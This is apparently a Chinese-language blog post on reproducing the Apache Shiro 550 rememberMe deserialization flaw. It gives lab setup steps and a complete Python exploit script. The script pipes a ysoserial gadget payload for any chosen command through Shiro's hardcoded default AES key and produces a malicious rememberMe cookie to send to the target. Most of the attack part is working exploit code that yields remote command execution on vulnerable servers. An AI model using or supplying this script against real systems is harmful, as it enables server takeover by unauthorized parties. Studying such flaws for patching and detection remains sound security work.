Shiro rememberMe 反序列化分析

2012 年 9 月 10 日

Shiro 550

复现

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

然后导入maven项目之后，在 samples/web/pom.xml
配置jstl版本和反序列化用到的gadget链依赖。

    1.6
    1.6


    javax.servlet
    jstl
    
    1.2
    runtime



    org.apache.commons
    commons-collections4
    4.0

如果你爆了toolchains相关的错误，就在 C:\Users\username\.m2\toolchains.xml
配置toolchains


    
        jdk
        
            1.6
            sun
        
        
            C:\Program Files\Java\jdk1.8.0_181

maven package之后将war包放到tomcat7下部署，运行之后就是这样

使用 shiro_tool.jar
复现:

也可以使用python脚本

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
    popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    #iv   =  base64.b64decode(rememberMe)[:16]   
    iv = uuid.uuid4().bytes
    print(iv)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    print(sys.argv[1],sys.argv[2])
    payload = encode_rememberme(sys.argv[1],sys.argv[2])
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

将文件中的贴到cookie中请求即可。